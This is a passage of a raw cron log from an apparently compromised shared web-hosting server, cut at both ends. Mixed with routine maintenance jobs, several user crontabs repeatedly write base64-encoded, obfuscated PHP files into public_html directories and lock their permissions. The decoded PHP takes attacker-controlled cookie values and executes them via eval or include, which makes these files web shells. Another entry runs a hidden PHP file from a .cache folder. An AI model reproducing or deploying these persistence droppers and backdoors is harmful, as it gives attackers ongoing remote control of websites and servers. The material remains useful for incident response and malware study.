AkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:04:01 medusa CROND[13464]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:04:01 medusa CROND[13465]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:04:01 medusa CROND[13466]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:04:01 medusa CROND[13468]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:04:01 medusa CROND[13467]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 16:04:01 medusa CROND[13469]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:04:01 medusa CROND[13473]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:04:01 medusa CROND[13475]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:05:01 medusa CROND[30617]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 16:05:01 medusa CROND[30676]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:05:01 medusa CROND[30682]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 16:05:01 medusa CROND[30772]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 16:05:01 medusa CROND[30908]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 16:05:01 medusa CROND[30949]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 16:05:01 medusa CROND[30948]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 16:05:01 medusa CROND[30952]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 16:05:01 medusa CROND[30955]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:05:01 medusa CROND[30954]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 16:05:01 medusa CROND[30953]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 16:05:01 medusa CROND[30959]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 16:05:01 medusa CROND[30965]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:05:01 medusa CROND[30966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:05:01 medusa CROND[30977]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:05:01 medusa CROND[30985]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 16:05:01 medusa CROND[30986]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 16:05:01 medusa CROND[30987]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 16:05:01 medusa CROND[30988]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:05:01 medusa CROND[30989]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:05:01 medusa CROND[30991]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:05:01 medusa CROND[31000]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:05:01 medusa CROND[31011]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:05:01 medusa CROND[31012]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:06:01 medusa CROND[14935]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 16:06:01 medusa CROND[14936]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:06:01 medusa CROND[15272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:06:01 medusa CROND[15280]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 16:06:01 medusa CROND[15281]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:06:01 medusa CROND[15282]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:06:01 medusa CROND[15283]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:06:01 medusa CROND[15288]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:06:01 medusa CROND[15289]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 16:06:01 medusa CROND[15291]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ